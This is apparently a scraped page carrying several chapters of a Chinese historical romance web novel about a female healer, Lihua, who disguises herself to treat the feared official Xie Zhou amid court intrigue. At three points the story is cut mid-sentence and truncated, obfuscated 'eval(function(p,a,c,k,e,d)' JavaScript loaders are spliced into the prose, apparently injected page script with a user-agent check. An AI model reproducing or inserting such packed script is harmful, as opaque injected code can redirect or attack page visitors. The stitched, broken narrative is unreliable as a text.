这么多双眼睛盯着,不能承认弄错药影响以后生意,铁证如山又不能否认弄错药的事实,掌柜只得强行圆场,“误会误会,我们招聘大夫,这是一道区分药材的考题而已。” 梨花惊喜地问:“所以这道考题我过关了吗?” 掌柜忙不迭应声:“过了过了,我们进里面详谈,大家散了吧。” 梨花挑起一边眉毛,对路人挥挥手道:“小意思,以后找我来看病。” 没热闹可看,路人自然散去,掌柜背过人立刻换了张面孔:“找你看病,就凭你?” 梨花被他这么一问,一时反应不过来,她不是已经过了考验么,掌柜这是什么意思。 掌柜冷哼一声道:“害我医馆丢名声,你意欲何为?” 世上竟有如此颠倒黑白的人,梨花一股火气直冲脑门,质问道:“我是大夫,怎能眼睁睁放任毒药入病人之口?你家伙计将断肠草当成海风藤,我提醒他免得害了别人,你不怪他弄错药,反怪我指出错误?” 掌柜发笑,“你一个女子懂什么医药,还敢自称大夫?” 梨花上前一步道:“治病就治病,考验就考验,为何拿性别说事?女子当大夫怎么了,治病救人只有医术高下之分,没有男女阴阳之别。”她看了那伙计一眼,伙计觉得祸从天降,两眼发红瞪着她,一副恨极了她的模样。 掌柜不敢置信有人这样天真,他又哼一声,鼻息几乎喷到梨花脸上,“痴心妄想,你去任何一家医馆药铺,都绝不会招一个女子。” 任何一家医馆药铺都不会招女子吗?梨花沉默了,因为他说得没错。 在乡下,百姓能看上大夫就不错了,梨花天天跟在老爹身后,邻居渐渐默认她也能看病,谁治好病不是治呢。可更多时候,医术都是家传,穿男不传女,有收徒的还要看资质,女子天生没有资质,当不了大夫。 老爹不是她亲生父亲,也从没嫌弃她是个女孩,给她取名李花,还把这朵花养得精神十足,梨花嫌名字俗气,自己改成梨花,老爹也不生气,每天小花小花叫着,耐心教小花医术。 思绪百转千回,一个念头突然在脑中闪过,梨花冷静下来,掌柜眼中全是不屑,她抬头直视掌柜。 “你究竟是因为我指出错漏而生气,还是因为我身为女子却想当大夫,这个想法你觉得可笑?或者兼而有之,不能接受被一个你看不起的女子指出你引以为傲的医术有错误?” “你你你……伶牙俐齿满口胡言!” 掌柜被这番话问得恼羞成怒,话都说不利索,指着梨花骂道:“你再胡搅蛮缠我就报官把你抓起来!” 伙计早已按捺不住冲上来推梨花,梨花侧身一躲,伙计闪了个趔趄,嘴里老子娘的粗话全飙出来。 “此处不留爷,自有留爷处,我就不信找不到一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿香的爹接着道:“我腿断了,药铺生意不好,阿香非要来帮忙,女孩子哪能这么抛头露面的,说她也不听,姑娘你快些回家去吧,你爹娘肯定很担心你。” 梨花听出来了,这是给她下逐客令呢,刚燃起的希望就这么破灭了。说来说去不还是因为她是女子,梨花有些不忿道:“阿香也是女子,她能做得,我有什么做不得?” 阿香觉得这话颇有道理,跟着点头。阿香的爹没眼看自家的傻姑娘,无奈道:“即便是想雇佣姑娘做工,我们现在也雇不起。” 阿香“哎呀”叫了一句,恍然大悟,“对呀,我家没钱了。”前些日子赊了一批药材,本想着生意好转能还上,谁知道一天不如一日,药材商催了几次债,说要把还春堂抵押还债。 到手的饭票没了,又不能勉强人家,梨花恹恹起身告辞。刚跨出门槛,阿香的爹叫住她,“你若真缺钱,倒是有个去处。北镇抚司的镇抚使谢舟正张榜求医,或可一试。” 北镇抚司的镇抚使谢舟,正是人称“活阎王”的那位,据说在他手底下的冤魂,没有一千也有八百。 谢舟身受重伤,宫里太医都束手无策,于是在民间张榜重赏求医,几日过去无一人揭榜。 谢舟的榜,无人敢揭。 梨花雀跃道:“管他谢舟谢船的,这赏金我拿定了。” 天真的梨花还不知道自己要见的谢舟是谁。 5. 自投罗网 谢府在正阳门大街的正西坊,午后,紧闭的朱门突然被人扣响。 正西坊紧挨皇城,住的都是达官显贵,少有闲人滋扰,又因谢舟名声在外,很少有人主动上门。 大门拉开一道缝,门丁疑惑地探出个脑袋来,只见一个少年站在门外。少年腰间背着小挎包,两条袖子起码挽了三折,缩在袖子里的手上还捏着一张纸筒。 见门丁出来,少年展开纸筒拍在门丁身上,纸筒正是谢家求医的榜文。 “带我进去吧。” 门丁一愣,“你是揭榜的大夫?” 少年摊开手,“有什么疑问?” 疑问多了去了,小小年纪医术能有多高深,况且连个药箱都没有,拿什么治病。 门丁站着不动,似乎在思考该怎么处置这个不知真假的大夫。 少年看出他的心思,只问:“榜文可对揭榜之人有要求?” 门丁摇头。 “那不就得了,你拦我耽误了你家主人病情如何交代?”少年挤开门丁进府。 门丁将少年领到一间院子外等待,他独自进去禀报。少年原地踱步,袖子垂下来他又翻上去,露出手臂上细细的伤痕,不是梨花又是谁。 这里的人都一样,看不起女大夫,梨花怕被直接赶出来,问阿香借了她爹的衣服,简单梳洗扮成男子模样。衣服明显不合身,但常年浸染的药味让人减少对她的怀疑。 门丁匆匆而去又匆匆返回,把梨花带进院子。房门打开,出来个侍卫装扮的人接引梨花进去。 四月天,房间里还燃着炭火,丝丝缕缕的炭灰味混在浓重的药味里毫不起眼,有床幔遮着,梨花只能望见床上的人胸膛上下浅浅起伏,气若游丝。 侍卫说他家主人被利器重伤,昏迷不醒,药石无灵,他看向梨花空空如也的双手,问梨花如何诊治。 梨花笑道:“我敢揭榜,自有起死回生的术法,这术法岂能被凡人见到,还不出去?”她怕人多眼杂,发现她是女子就不好了,想法子将人支走。 侍卫向床上望了一眼退出去。 床边小几上放着一碗喝完的药,碗底黑乎乎的,梨花走过去拿起碗检查,闻了闻不禁啧舌:“人参雪莲没少放啊,这都不醒,难怪重金求医,看来离鬼门关只差最后一脚了,不过没事,阎王要你三更死,我能……” 梨花撩起床幔,一张熟悉的脸毫无防备撞入眼里,她头皮噌噌发紧,心脏咚咚快从嗓子眼儿跳出来。 床上躺的是青岚山上那个要杀她的黑衣男人,他竟然就是北镇抚司镇抚使谢舟。 谢舟面色如纸,嘴唇紧抿,胸前被纱布包了一圈又一圈,只剩两条胳膊露在外面。 她明明记得只是扎了他一针,那针会让他暂时失去力气但绝不致命,他怎么会伤成这样? 梨花试探着往前半步,谢舟突然闷哼一声,血从纱布洇出来,手臂青筋炸起,手指曲张两下,吓得她一个激灵连连后退。 完蛋,真是出门没看黄历,这人救不活她得死,救活了她更得死,还不跑路更待何时。 梨花头也不回就跑,一道寒光映着烛火从眼中闪过,她眯起眼再睁开,一把剑正架在脖子上,颈间传来丝丝冰凉。 “去哪儿啊?” 身后鬼魅一样的声音沿着剑尖送进梨花耳朵里,梨花低头妄想遮住自己的脸,今天穿的是男装,他未必能认出她,她咽一口口水尽量让自己声音不抖,“去……去茅房。” 余光中,一双赤足朝她靠近,每踩一步地毯都轻轻下陷,剑贴着后颈绕到前方,停在她的下巴处,堵死全部去路。 下巴被剑轻轻挑起,梨花被迫抬头迎上冰冷的目光,她还想低头装不认识,剑锋从她脸侧划过。 梨花闭上眼等待死亡判决。 一阵风吹开窗户,青丝纷飞,天光涌进来,照亮隐在昏黄烛光中的人,半张脸忽明忽暗,满是倔强与不甘。 风歇,断成两截的发带从肩头慢慢飘落,擦过指尖垂在地毯上。 这一瞬间比沧海桑田还要久,久到烛火噼啪作响,梨花才找回呼吸。 她还活着。 “好巧啊,又见面了。”她又换上笑脸,还是那样狡黠。 谢舟清楚记得她摆了他一道。 人人都说他是“活阎王”,可他看着野草一样求生的少女,第一次动了恻隐之心,换来的却是欺骗。 那天暗卫清溪找来的时候,谢舟已经清醒,发现自己失去内力,清溪扶起他,他二话不说拿起刀捅向自己心口,血汩汩往外流。太后李潇派太医来诊治,太医说刀口伤势太重,筋脉阻滞气血难行,回天乏力,开了珍稀药材吊命。 只有谢舟自己知道,那一刀距离心脏半寸不会致命。张贴的求医榜文也是做做样子,没人敢接他谢舟的榜,没想到今天来了个不怕死的。 清溪把人带入房间,一开口谢舟就听出是那天的少女,却换了副男人装扮,定是别有用心。他分明记得刚才这张脸上还满是倔强,现在又挂上假笑。 她就是个骗子,他倒要看看她想做什么。 谢舟收剑入鞘,气定神闲坐在椅上,冷声道:“巧吗?还以为你专程来找我的。” 收了剑就是有的商量,梨花故作镇定迎上谢舟的目光,“确实专程来找你的。” 才怪。 谁要找你这杀人狂魔啊,自投罗网等着被你砍死吗。 心里话当然一句也不能说,她声音柔婉带了八个转儿,“当天情非得已,听说你受伤,特意为你而来。” “特意为我而来?” “是呀。” “这么说你一早就知道我的身份。” “知道,榜文上都写了,北镇抚司镇抚使,这官职听着就气派。”当然,听着还很有钱,不然她也不会被诱惑,梨花很有眼色地吹捧了一句。 “那你呢,又是什么人?” 梨花抛出早编好的那套说辞,“我叫方梨,您叫我梨花就成。我不过是山里一个采药为生的小丫头,青岚山来了山匪,我活不下去这才来了京城做工,现在是还春堂的小伙计。” 梨花这套说辞天衣无缝,方梨的正式身份有了,采药为生能解释通她为什么会医术,青岚山山匪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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五石散能快速止痛提神醒脑,但是会让人有很强的依赖性,服用多了还会让人神志不清产生幻觉。几百年前有人服用五石散寻找灵感,现在的人却耻于用此药。 梨花第一次见到谢舟就隐约闻到,刚才近距离接触更确认了这个猜测。再加上她观察到谢舟持剑的手微微颤抖,这是头疼症引起的反应,谢舟的反应证明她没猜错。 可从谢舟的眼神中她也看出,知晓这个秘密不是好事,只会加速死亡。她忽然想起谢舟说过,没用的人,性命不必留着。 她有用。 梨花道:“你的头疼症我可以治,我的针灸术你见识过。” 确实见识过,扎得他毫无还手之力。 谢舟盯着梨花,手指轻扣着桌沿,这是动摇犹豫的征兆,梨花敏锐感知到这一点,她跪在谢舟脚边恳求:“你给过我两次机会,有再一再二,何不有再三?” 这时,门外传来一阵脚步声,一个女子在外急切呼喊:“大哥哥救命啊!” 6. 师徒情深 来人是谢舟的堂妹谢知秋。 兄妹二人年龄相仿,她听说有神医揭榜,立刻来关心哥哥的病情。 清溪想拦人,梨花大喊:“他醒了。”谢知秋激动闯门,清溪拦都拦不住。 谢舟看梨花一眼,梨花心虚笑道:“我帮你招呼一声,省得她担心你。” 谢舟错愕,刚才还楚楚可怜求他,现在就能为自救利用他,果然诡计多端,想起她变脸也不是第一次,谢舟又觉得当初的手下留情着实可笑。 梨花就是要借别人之口坐实她救了谢舟性命这件事,这样谢舟不能再轻易杀她,她的命暂时保住了。 谢知秋冲进来,朱钗流苏随步伐叮当摇摆,水红色的对襟长衫转眼扑在床边,谢舟斜靠在床上一副半死不活的样子,梨花拿起床边的碗装模作样喂药,听着他故意的喘息声,心道:你也挺会演戏的。 谢知秋接过药碗到床边坐下,碗是空的,她尴尬放下,“大哥哥你果真没事了,爹爹被抓进大牢,你快去救他。” 她口中的爹爹就是谢家家主,谢舟的大伯,谢训,现任太常寺卿。 “今日爹爹下朝许久没回家,我向其他大臣家女眷打听才知道,仁德皇后从漠风回来了。” 仁德皇后就是先皇后杨盈,当年她主动向先帝请求去漠风为质,先帝赐封号“仁德”二字,她也成了第一个活着便有封号的皇后。离京之时,百姓感念其恩德,十里长街相送,如今却悄无声息回来。 太子死了,二皇子登基,太后之位也被别人坐了,她回来空有尊贵身份,却没有该有的体面。 她的事大家不敢直说,谢知秋道,“他们说爹爹和几位大人上奏,要以太后之礼迎回仁德皇后,当时太后就在帘后坐着,倒是没说什么,皇上只将此事搁置。后来不知谁提议,爹爹他们一起跪在会极门请愿,皇上得知后震怒,赐廷杖之罚关入大牢,说是要问斩为首者。” “听说仁德皇后归京途中在青岚山遇到山匪袭击,是大哥哥剿杀山匪救人,大哥哥立下如此大功,可否去求个恩典,救爹爹回来。”谢知秋声音越来越小。 谢舟为太后办事,救了仁德皇后是功是过明眼人都看得出。谢舟微微闭上眼没说话,谢知秋思索一下又道:“我知道大哥哥身体不适,有神医在,你定会很快好起来,是吧神医?” 她让开位置,把梨花推回床边。 梨花正愣神,她想起那一夜山匪明明是在挖金,然后追杀她,怎么有空去袭击仁德皇后?而且这伙山匪人数不多不成气候,绝对没有能力和胆量对抗训练有素的侍卫。谢舟同一时间出现,如果真是剿杀山匪,为何要杀她灭口,死在谢舟手下的那些人是谁? 谢舟的出现究竟是为救人还是杀人? 这个问题出现在梨花脑中时,她自己也吓了一跳,难怪刚才谢舟问她是否早就知道他的身份,竟是试探,她的回答说明山上相遇是偶然,如果回答错了,恐怕活不到现在。 梨花后怕,呼吸声骤然加重,不自然地回了句:“是。” 好在谢舟没注意到她的异样,睁开眼望向谢知秋:“你希望我现在就去?” 救人哪有迟的,当然立刻动身最好,可看了一眼缠绵病榻有气无力的人,谢知秋还是很贴心说了句:“那就再休息半日。” 梨花目送谢知秋出去,一回头谢舟已经坐起来,似笑非笑看着她。 “你都猜到了对吧,我是去杀人,而不是救人。” 梨花捂住耳朵跪下,“我没有,我什么都不知道,我什么也没听到。” 手被人强硬拉开,对面人俯身将她罩在阴影里,一支匕首慢慢钻入左边肩头,撕开腋下的伤口,“想为我所用要有觉悟,首先就是管好自己的嘴。” 刀尖又深入两寸,还不怀好意地转了转,梨花疼得满脸汗,肩膀不住抽搐,她下意识伸出另一只手抵挡,却被死死禁锢动弹不得,喘息着说了声:“好。” 谢舟松手,梨花匍匐在地上后悔自己不该招惹他,这个人手段狠辣心机深沉,她那点小聪明根本不是他的对手,等离开谢府就想办法逃跑,离这活阎王越远越好。 这时外面传来清溪的通报声:“大人,有个女人闯府,要直接打死吗?” “快把我家伙计放出来,不然我跟你们没完!”女人声音洪亮,远远从大门传进房间,是阿香。 可阿香怎么会来寻她? 梨花曾说:“等我拿到赏银就帮还春堂起死回生。”这话是糊弄阿香的,为的只是向她借衣服,阿香为了赏银而来。 不对,这里是谢府,她是京城人必然知道活阎王的威名,即便为了银子也不会拿小命冒险,她就是单纯来救她的。 梨花的心空了一瞬,她跌跌撞撞过去开门,急忙喊住清溪:“别伤害阿香,她是我老板。” 谢舟没阻止,房门打开,阿香举着一把捣药杵扑过来,看见梨花肩膀的伤,不敢乱碰她,蹲在门边眼泪汪汪道:“你还活着,太好了,不然我要内疚死。” 梨花离开以后,阿香把还春堂牌匾扶起来,收拾药材,扫地,心里还是不踏实。梨花似乎不知道谢舟是谁,若因为他们父女多言害死她,那罪过可就大了。在她推着轮椅在屋里转了第十圈后,她爹终于忍不住发话:“去吧,说不定能将人拦回来。” 梨花忍着痛笑嘻嘻道:“我没事。” 谢舟仍是那副冷峻神态,“拿了赏银回去好好养伤,需要你的时候自会派人找你。” 梨花忍不住发抖,他是在提醒她阿香和还春堂就是人质,警告她别想逃跑,真是可怕的人。即便如此,梨花只能卑微回答:“多谢大人赏赐,梨花一定随叫随到。” 谢舟假装重伤躺了两天,神医揭榜的事其他人必然也收到消息,他索性病好,顺势去大牢看看,想必那里正热闹。 ———— 大牢里阴沉潮湿不见天日,越往里走腐臭味越重,来人顾不得这些,直奔最里面的一间牢房。 里面关的是督察院都御史黄忠言,年逾六十,受完廷杖半条命都去了,背上伤痕交错,只穿一件里衣趴在冰冷的地板上,皇帝要处罚他,没人敢给他上药。 牢门锁链哗啦啦响,黄忠言木然盯着地板,已经来了好几拨人,无非是来劝他向皇帝承认错误。当年仁德皇后的恩德无人感念,如今少年皇帝的言行也不规劝,只顾巧言令色讨好垂帘听政的太后,净是些蝇营狗苟之辈,他耻于与这些人人为伍,也不屑与他们说话。 直到身上轻飘飘压了一件衣衫,他才抬头,看到一个清瘦的人,许久未见的杨贞。 杨贞曾是他最出色的学生。 六年前,杨贞十五岁,以新科进士一甲的身份入翰林院,是宁国有史以来最年轻的进士,整个京城人人都道杨家除了皇后杨盈又出了一个有出息的人。他上任翰林院编修,负责修撰国史、起草诏书,也发表社论畅谈国事。 那时黄忠言任翰林院侍读学士,负责为皇室成员讲经读史,是太子和二皇子的老师,杨贞与 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天无二月,国无二后,她要借此事立威,逼朝臣站队,聪明人都知道怎么选,只有黄忠言、谢训这些老臣负隅顽抗,此事绝不会善了,他们要么低头认错,要么血溅京城,可无论怎么选,凭他们几人都改变不了杨盈的困顿境地。 黄忠言哑然失笑,“老师?我可不敢当。你既是聪明人,就该知道来大牢见我有多愚蠢,你走吧。” 杨贞有些颓败,眼神暗淡,杨家失势以后,他这些年与老师少有交往,现在才来见老师,他确实没有颜面。 “老师可以不认我这个学生,但逼请君父之事不能再做。” “哼,逼请君父?我乃督察院都御史,曾任天子老师,本该出言劝诫,他身为人子大礼迎回母亲为孝,身为国君恭敬迎回守疆固土之人是义,天子不孝不义行止有差,我何来‘逼请’一说?” “老师慎言!” 黄忠言越说越激动,这些话以下犯上当即便可处斩,杨贞出言打断他。 黄忠言以手撑地直起身体,将外衣揭下怒道:“即便不为仁德皇后的恩义,就凭你姓杨,也不该来这里,滚!” 衣服砸在杨贞脸上,他躲也不躲跪在黄忠言面前:“老师不答应向皇上请罪,行勉不会走。” 困知勉行,行勉是黄忠言为杨贞取的字,希望他遇困而求知,勉力以实行,杨贞很受教,也将这执拗的态度用在他身上了。他深知杨贞品性,多年不见他是不想因杨家的事连累他,如今再见,亦是为了保护他。 他深深叹一口气,“你怎么就不明白我的一番苦心。” 杨贞当然明白,就是因为明白才出现在这里。当年他颓废不堪,只有黄忠言在旁抚慰:“事无可抵,则深隐而待时;时有可抵,则为之谋。”这就是劝诫他潜龙勿用,静待时机。 他理解老师要他蛰伏的一番苦心,这些年一头扎进书史,年前被才提拔为翰林院侍讲,没有适龄王公贵族,他这侍讲名不副实,可这些他从不在意。 如今老师认为时机已经到了,以自己为刃开辟杨盈回京的路,也开辟他这不成器学生的官路。 杨贞脊背挺直字字铿锵,“学生明白,但学生不能接受。踏着老师尸骨往上走,恕学生做不到。姑母的事,学生自会想办法,望老师珍重。” 黄忠言侧头不再看他,杨贞跪在地上叩行大礼。 “好一个师徒情深呐,真是感人。” 牢门外走近一个人,披着大氅的谢舟笑着鼓掌。 谢舟出现,不是抓人就是杀人,黄忠言顿感不妙。 7. 狐假虎威 谢舟是太后的人,也是她最锋利的一把刀,专门用来对付黄忠言这样“不识好歹”的人。 黄忠言借杨贞之力站起身,“谢大人身体无恙,真是可喜可贺。”他听说谢舟身受重伤,没想到好的这么快。前面劝他认错告罪的人都铩羽而归,谢舟此刻出现在这里,说明太后已经对他动了杀心,这正中黄忠言下怀。 “满朝皆知谢大人从山匪手中救下仁德皇后,此等功绩谢大人不进宫接受封赏,来这腌臜之地作甚?” 他明知谢舟此举在太后面前是过非功,故意刺激谢舟,若谢舟为将功补过杀了他就再好不过。 此事拖得越久,风波平息,他们的抗争就失去意义,只有他死了,才能让更多人看清高位之人的狼子野心与残暴无情。 可黄忠言是个直臣,所有想法都写在脸上,这时应该痛骂谢舟“不守孝悌,阴狠毒辣……”这样阴阳怪气完全不是他的往日风格,谢舟听着想笑。 他站在牢门口,眼神从黄忠言游移到杨贞身上。 杨贞还是那样,长身玉立,英姿俊朗,即便衣着简朴身处牢狱,依然风度不减,难怪当年能惹得满城少女春心萌动。 当年他们也曾纵情诗酒,杨贞立志文兴天下,谢舟盟誓武定家国,结果一个封笔不写,一个刀戈向内,过往种种,再难言说。 谢舟意识到自己看了杨贞许久,不动声色收回目光。 杨贞依制行礼,淡淡道:“见过谢大人。” 谢舟鼻子皱了皱,“杨大人来牢中是送别黄大人,还是拜别黄大人。” 黄忠言闻言紧张起来,原来谢舟是冲杨贞来的,“你要取我性命便动手,此事与他无关。”他半截身子入土的人,早无惧生死,可杨贞不行。 谢舟抱臂笑道:“黄大人别激动,伤身体,您的爱徒可不忍见您这副模样。” 黄忠言重重咳嗽,杨贞慌忙轻抚老师后背顺气,对黄忠言道:“老师莫慌,这里是刑部大牢不是北镇抚司,他不敢对我怎么样,”他深深望了谢舟一眼,“也不会对我怎么样。” 师生扶持互相慰藉,谢舟看着觉得有些刺眼,十分破坏氛围地说了句:“有关无关可不是黄大人说了算,若有人非要做蠢事,谢某不介意助刑部一臂之力。” 他饶有兴致走进牢房,黄忠言往前半步将杨贞护在身后,颇有为了杨贞与他拼命的架势,谢舟抬手解下大氅披在黄忠言身上系好。 “牢房苦寒,为了您的爱徒,黄大人也得好好保重。” 这明晃晃的威胁,黄忠言听懂了,张口想骂却不知如何开口。 这时有人来报,“谢大人请出来了。” 转角牢房里,跟在狱卒身后出来的是谢舟的伯父谢训,他虽也受了杖责,因着谢舟与太后的关系,在牢中并未受什么苦。 谢训没想到这么快就被放出来,他正惊喜以为皇帝想通了,可看见不远处站着的谢舟,就知道自己想错了。 谢训驻足板起脸道:“你还不算无药可救。” 谢舟没说话,谢训冷哼一声,虽然平日他不敬自己这个伯父,可到底是一家人,他还不算完全泯灭人性。 谢训正要走,看见前方黄忠言牢门开着,他脸上立刻浮满怒意,“原来你打的是这个算盘!” 他本以为谢舟违逆太后心意救杨盈,现在又来牢中救自己,是想通了不再为虎作伥,谁知他是来威逼黄忠言就范的。 谢训怒火中烧,“你以为黄大人能任你折辱,便是将诏狱全部酷刑加身,黄大人也不会求饶一句!” 黄忠言沉默羞愧低头,谢训走近才看见牢房里还站着另一个人,再看那件大氅,他顿时全明白了。 若真是受刑,黄忠言吭都不会吭一声,可偏偏谢舟用杨贞的性命威胁他,他不畏死,却不能死。 黄忠言降了,这场战斗刚开始就宣布失败。 谢舟兵不血刃瓦解为杨盈请愿的联盟,又是大功一件。 ———— 与此同时,谢府的轿撵在大街上穿行。 轿中,阿香为梨花包扎肩头的伤,指尖带着一坨药膏不轻不重上下滑动,每涂一小片,阿香就轻轻吹一口气。 梨花望着她专注的神情突然道:“阿香,你真好。” 阿香故意哆嗦,“咦~肉麻死了,你这新伤叠旧伤,回去杀只鸡给你补补。” 梨花怔了一下,“你就没想过我可能不回还春堂吗?” 阿香愣了愣,“你不是我家伙计吗,你不回还春堂你要去哪儿?” 原来阿香真以为她拿了赏银还会回去当伙计,傻的可爱。梨花嘴角上翘,“没错,我是还春堂伙计,当然要回去。对了,那个鸡我要吃肥一点的。” 上完药,梨花换上问谢府下人借来的衣服,轿撵刚好落地还春堂。 还春堂门前围满了人,正中面对众人站着的是一个大腹便便的中年男人,身侧立着几个短衣革靴的打手。 梨花和阿香隔着轿帘就听见熙熙攘攘的声音,一下轿就看见阿香的爹被人“请”出门外,轮椅一并丢在街上。 阿香的爹一把年纪坐在地上,医馆是他和女儿唯一傍身之物,他已是废人一个,女儿若连医馆也没了,以后如何嫁人。他丝毫不在意围观百姓的指指点点,苦苦哀求药材商再通融几天。 “不是我不通融,你们欠账太久了,都这样拖着我还怎么做生意?” 药材商一副为难的样子,好似他才是那个被欺负的可怜人,身边打手的棍子却已经戳在阿香她爹头上。 阿香跑过去扶起她爹,拍拍后背示意她来处理,她爹不知道阿香要干什么,只见阿香向梨花望了一眼。 梨花微微点头回应,走上台阶与药材商并肩,负手而立道:“她欠你多少钱,我来付。” 谢舟给了梨花一百两,这些银子够普通人一家三口买十年的口粮。梨花和阿香刚才计算过,这些钱付给药材商还能剩下许多,她们可以再进药材,扩大医馆规模。 药材商睨了梨花一眼问道:“你是?” 梨花挺挺胸膛:“还春堂小伙计是也。” 她一个小伙计就能还清欠款,还值得带打手来催债,梨花觉得药材商现在心里得臊死。 药材商上下扫视梨花一眼,见不过是个身材矮小的少年,穿一件下人衣裳还充大款,冷哼道:“你还得起吗?” 众人也看向梨花全是质疑,倒要看看她怎么还。 “你怎知我还不起?” 梨花掏出那张一百两的银票甩在药材商面前,又提着向众人展示,下巴高高扬起,气势完全不输比她高壮一圈的男人。 天杀的,这就是有钱人挥金如土的感觉吗! 梨花腰杆从来没这么硬过,面上很淡定,心里已经乐开花。 药材商有些惊讶,略略迟疑才想起来检查银票。银票的纸张、防伪、印章都没问题,是真银票无疑。 他装作不经意又打量梨花一番,眯了眯眼收下银票,手一挥对打手道:“砸铺子。” 梨花慌忙拦住打手质问药材商:“你什么意思?我们不是还钱了吗?” 药材商笑盈盈道:“你还的是利钱,本金可还没还呢。” 他这话什么意思? 梨花看向阿香,阿香也一头雾水,她明明是赊账,又不是借钱,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“大言不惭,敢戏耍老子?”他扭动脖子发出“咔哒咔哒”的响声,下令:“连人一起拆。” 打手又挥起棍棒,这次全朝梨花招呼过来,梨花抱头高呼:“清溪!” 不知从哪儿飞出一道身影瞬间跃到药材商面前,黑色令牌抵在药材商脑门上。 周围又没了声儿,梨花露出脑袋偷偷看,掌柜被从天而降的人吓得退后两步,待看清令牌上“锦衣卫”三个字直接坐在地上。 清溪是谢舟的暗卫,她怀疑谢舟派人暗中盯着她,情急之下喊出清溪,没想到人真的在附近。 药材商缓了缓站起身,强硬道:“锦衣卫又如何,收账又没犯法。” 清溪冷声道:“打狗也要看主人,还春堂的事我不管,但这个人,你不能动。” 梨花:“……” 不会说话就不要说。 算了,不计较了,谁叫她是狐假虎威,借势这种事,有用就行。 梨花叉着腰底气十足谈条件:“你是为收账而来,拿到钱才最重要,利息已经给你了,剩下的钱给我半……一个月时间,我如数奉还。” 她想说半个月,舌头打个弯又给自己争取几天。 药材商犹豫一下道:“七天,七天之后如果还不上,”他看清溪一眼,“就算闹到三法司,我也要把铺子收回来。” “一言为定。” 人群散去,还春堂被砸得稀烂,梨花和阿香蹲在地上对着成堆破烂药材发呆。 七天五十两,把还春堂老、弱、残三个人都卖了也赚不到。 8. 公平竞争(修) 梨花伤倦交加沉沉睡了一夜,从房间出来,后院阿香的爹正拿着小锤头修板凳,她打了声招呼,“梅伯早啊。” 梅伯点点头,“阿香在前堂呢,厨房给你温了粥,吃完再走。”梨花环视一周没说话,径直去了前堂。 阿香撅起屁股蹲在地上,大部分药材已经归进药橱,剩下的碎沫子捡不起来,她找来小刷子一点点扫起来。听见脚步声,阿香回头,看见梨花斜倚在门框上抱臂看她,不知看了多久。 梨花走过去,将包袱扔在阿香身边,荡起一层浮灰。 “这包袱什么意思?” 她一起床就看见床头放着个包袱,里面是一身女子衣物,还有几吊钱,梅伯说让她吃粥完再走,看来父女俩已经商量好了要她走。 阿香咬了咬嘴唇,“爹说此事本就与你无关,你已经替我们还了一百两,不该再让你承受无妄之灾。” 七天内铁定赚不到五十两银子,他们父女俩把所有的钱都留给梨花,剩下几天药材卖多少算多少,之后就拿着钱回老家。 “家里的钱就剩这些,你……”她话未说完就被打断。 “停!坐下。” 梨花居高临下把人圈在椅子里审问。 “你也知道你们父女俩欠我一百两,拍拍屁股让我走人不厚道吧?还是说你觉得一碗粥就能抵得了一百两银子!” 梨花支起腿踩在扶手上,阿香被她无赖的模样震住,傻愣愣摇头,“不能。” “对,不能,所以我要一直住在这里,直到你们还清银子为止,在这之前你都要听我的,知道了吗?” 梨花昨日喝了人家一碗粥非要赖在还春堂,今日喝了一碗粥还要赖在还春堂。阿香觉得哪里不对劲,眼睛眨巴眨巴看她,又想不出问什么,悻悻答了句:“哦。” 梨花收回腿在她肩膀上狠狠拍了一下,“哦什么哦,还不干活。” 她昨夜睡前就想好了,还春堂现在什么都没有,就是药材多,想翻身就要在七天内把所有药材卖出去。药材不像食物是生活必需品,一定时间内销量是有限的,想卖出去就得把它变成必需品。 她记得千金方伙计提过的温补汤,达官贵人最舍得消费了,从他们身上赚钱最快。一包药卖一两,每天卖十包,五天就能赚回五十两,提前还上银子。 “梨花你真是我们家的福星!” 阿香听得眼睛都亮了,抄过梨花默下的温补汤方子就是干。 两人背着药箱,沿街敲开官员和富户家的大门推销。城南的有钱人不多,转了半天一包都没卖出去,她们转战皇城周围。 ———— 皇城里,红色身影穿过连廊跟着宫女进了慈宁宫佛堂。 一丝青烟从香头升起,丝丝缕缕游曳向上,李潇执香拜了三拜,香灰倏忽落在指尖,她垂眸看了一眼,将香插进香炉,才轻轻拭去香灰。 “谢爱卿,你说先帝是在怪我慢待仁德皇后吗,不然怎么用香灰惩罚我呢。” 金丝绣线的凤袍长长拖在地上,谢舟盯着看了半晌。当年她也是穿这样一件凤袍,一手牵着尚且年幼的皇帝宁洵,一手捧着国玺,踏着海浪和流云铺就的御路,高高站在丹陛之上。也是穿这件凤袍,她接过他亲手奉上的检举书,盖上印玺,为他父亲谢谦的通敌之罪盖棺定论。 天家最是无情,能坐上至尊之位的人更是无情,李潇不会反思,而是试探他。 谢舟恍若不知,拱手道:“是臣办事不力,让娘娘忧心,请娘娘责罚。”说着便要跪,胳膊被一只涂了丹蔻的手托住。 “爱卿剿杀山匪立下大功,重伤刚好些,又去解决了那帮老东西,这也算办事不力的话,其他人该提头来见了。” 李潇扶起谢舟转身坐回凤榻,却没给仍在病中的谢舟看坐,只定定审视他。 谢舟以检举父亲通敌的功绩投效她,在她的保举下一路坐上高位,他也靠血腥手段助她握稳权柄,在外人看来,谢舟就是她最忠心的狗。 可这条狗是半路而来,骨头、棍棒同时加身,她不信谢舟会完全忠于她。 武功高强如谢舟,一个突袭任务就能让他重伤,实在蹊跷,她很难不怀疑他是故意放走杨盈。可谢舟转而利落地解决了黄忠言,堵死言官的路……她看不懂,也无意去看。 一把刀而已,趁手就行,钝了就打磨打磨。 